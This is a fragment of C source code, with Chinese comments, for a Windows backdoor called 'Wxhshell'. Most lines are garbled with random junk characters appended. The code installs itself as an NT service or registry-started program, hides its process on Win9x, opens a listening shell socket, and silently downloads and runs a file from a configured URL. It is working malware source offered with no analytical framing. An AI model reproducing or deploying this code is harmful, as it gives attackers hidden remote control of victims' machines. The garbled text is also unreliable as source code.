} PROCESS_BASIC_INFORMATION; Nz;*;BQK:
}W>[OY0^A
PROCNTQSIP NtQueryInformationProcess; }SvWC8
OTjryJ^
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %dWFg<< |
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~9>[ U%D
;g)Fhdy!
HANDLE hProcess; =A&*SE o5
PROCESS_BASIC_INFORMATION pbi; Tk|;5^#H
.)pRB7O3
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); lIc9,|FL
if(NULL == hInst ) return 0; %Fm;LQa ]
r+.4|u
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x%?*]*W
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :8!3*C-=
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E1 gTrMo
{3p7`h~
if (!NtQueryInformationProcess) return 0; aKFA&Xnsl
)LMuxj
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~^5n$jq
if(!hProcess) return 0; 9QQ@Y}
CR PE?CRQF
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :W<,iqSCm
YKxA2`3v%
CloseHandle(hProcess); ;7=JU^@D@
s{EX ;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ua>~$`@gX
if(hProcess==NULL) return 0; /Rcd}rO
2bG4,M
HMODULE hMod; TdOWdPvYj
char procName[255]; F0^~YYRJV
unsigned long cbNeeded; W%Nu]9T
|l \/ {F
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lJ1xx }k{U
Tq_X8X#p
CloseHandle(hProcess); !U~#H_
j I@$h_n
if(strstr(procName,"services")) return 1; // 以服务启动 ?RAR
_*B~ESC0
return 0; // 注册表启动 ysn[-l#
} yN f=Kl
p:>?
// 主模块 +=04X F:
int StartWxhshell(LPSTR lpCmdLine) 6@*;Wk~
{ Dj&bHC5%
SOCKET wsl; ?-& D'
BOOL val=TRUE; c5+lm}R ?
int port=0; yacGJz^f=
struct sockaddr_in door; MxA'T(Ay
W]MJ!4
if(wscfg.ws_autoins) Install(); qvT+d
l3#[
}Fe{s;
port=atoi(lpCmdLine); _<}5[(qu
&>B>+}'
if(port<=0) port=wscfg.ws_port; c'TLD!^hB
!w\;Q8irN
WSADATA data; 72.IhBNtT
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; DH*|>m&
ew ,ed U
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; mqc Z3lsv
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 3Ty{8oUs^
door.sin_family = AF_INET; _llaH
door.sin_addr.s_addr = inet_addr("127.0.0.1"); /
H/Ne
)r
door.sin_port = htons(port); $ttr_4=
2jBE+k"M
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4$w-A-\t
closesocket(wsl); h#;K9#x6
return 1; aq| [g
} ##ea-"m8
`mTxtuid{
if(listen(wsl,2) == INVALID_SOCKET) { QHz76i!=>
closesocket(wsl); =zGz|YI*?
return 1; Rk0rHC6[
} T0)y5
Wxhshell(wsl); K1nwv"
WSACleanup(); R@aT=\u+
9+|,aG s
return 0; Io X9yGq
BV:,bS
} >{=RQgGy
YAG3PWmD
// 以NT服务方式启动 ?kefRev<#h
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) R6.#gb8^oS
{ +34jot.!
DWORD status = 0; )BrqE uX@"
DWORD specificError = 0xfffffff; oob0^}^
j2n@8sCSO
serviceStatus.dwServiceType = SERVICE_WIN32; 0t0:soZx
serviceStatus.dwCurrentState = SERVICE_START_PENDING; . M$D
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a{.n(M
serviceStatus.dwWin32ExitCode = 0; pD/S\E0@t
serviceStatus.dwServiceSpecificExitCode = 0; H<?yG->
serviceStatus.dwCheckPoint = 0; 55KL^+-~
serviceStatus.dwWaitHint = 0; haK5Oe/cE
IsL/p3|
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9xp
;$14
if (hServiceStatusHandle==0) return; |?W
8{e 3
status = GetLastError(); ;S j* {
if (status!=NO_ERROR) ^yZEpQN_
{ I2Rp=L:z5
serviceStatus.dwCurrentState = SERVICE_STOPPED; tTamFL6
serviceStatus.dwCheckPoint = 0; AtYYu
serviceStatus.dwWaitHint = 0; Tr!X2#)A!
serviceStatus.dwWin32ExitCode = status; N^at{I6C
serviceStatus.dwServiceSpecificExitCode = specificError; @SB+u+mOS
SetServiceStatus(hServiceStatusHandle, &serviceStatus); r\`m[Q
return; s``L?9
} oI/ThM`=q
LvdMx]*SSr
serviceStatus.dwCurrentState = SERVICE_RUNNING; @h3)!#\N
serviceStatus.dwCheckPoint = 0; 'm:B(N@+
serviceStatus.dwWaitHint = 0; 1nmWL0
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c:T P7"vG
} !IU*Ayg
6*Qpq7Ml
// 处理NT服务事件,比如:启动、停止 xb>+~5 9:
VOID WINAPI NTServiceHandler(DWORD fdwControl) yp/*@8%_E
{ 5E=Odep`
switch(fdwControl) mg]dK p
{ Ca|;8ggf
case SERVICE_CONTROL_STOP: "TI?
qoz
serviceStatus.dwWin32ExitCode = 0; tBQ>
p.
serviceStatus.dwCurrentState = SERVICE_STOPPED; G8'3.;"W5
serviceStatus.dwCheckPoint = 0; gQwmYe
serviceStatus.dwWaitHint = 0; X2Mj|_#u
{ LOzKpvGl
SetServiceStatus(hServiceStatusHandle, &serviceStatus); #YdU,y=B
} ?sE21m?b-
return; gV BV@v!W
case SERVICE_CONTROL_PAUSE: $!w%=
serviceStatus.dwCurrentState = SERVICE_PAUSED; (%, '
break; AR^Di`n!
case SERVICE_CONTROL_CONTINUE: v2R:=d
')>
serviceStatus.dwCurrentState = SERVICE_RUNNING; 6 [E"
break; ^u{$$.&
case SERVICE_CONTROL_INTERROGATE: +=4b5*+qG
break; :f:C*mYvu
}; HS9U.G>
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1uMdgrJRR
} Hy'&x?F6
_L>n!"E/
// 标准应用程序主函数 X.qKG0i
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p10->BBg
{ WkE;tC*
l:HuG!
// 获取操作系统版本 e+U o-CO
OsIsNt=GetOsVer(); jT',+
GetModuleFileName(NULL,ExeFile,MAX_PATH); g.Q ?Z{
|1R@Jz`
// 从命令行安装 >{Q2S
if(strpbrk(lpCmdLine,"iI")) Install(); 3&f{lsLAC
8pk">"#s
// 下载执行文件 ;p8xL)mUP
if(wscfg.ws_downexe) { .rHO7c,P~
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x`&W[AA4
WinExec(wscfg.ws_filenam,SW_HIDE); }$jIvb,3?
} `^ok5w"oi
;C'*Ui
if(!OsIsNt) { mDUS9>
// 如果时win9x,隐藏进程并且设置为注册表启动 PoZBiw@
HideProc(); d|3[MnU[a
StartWxhshell(lpCmdLine); F2=97=R
} cxV3Vrx@A
else gO%3~f!vY#
if(StartFromService()) l"/O s_4O
// 以服务方式启动 =8-e1R/
StartServiceCtrlDispatcher(DispatchTable); -L@=j
else zuw6YY8kQ
// 普通方式启动 :O2N'vl47A
StartWxhshell(lpCmdLine); XT)@)c7j
:M16ijkx
return 0; "-
AiC6u
}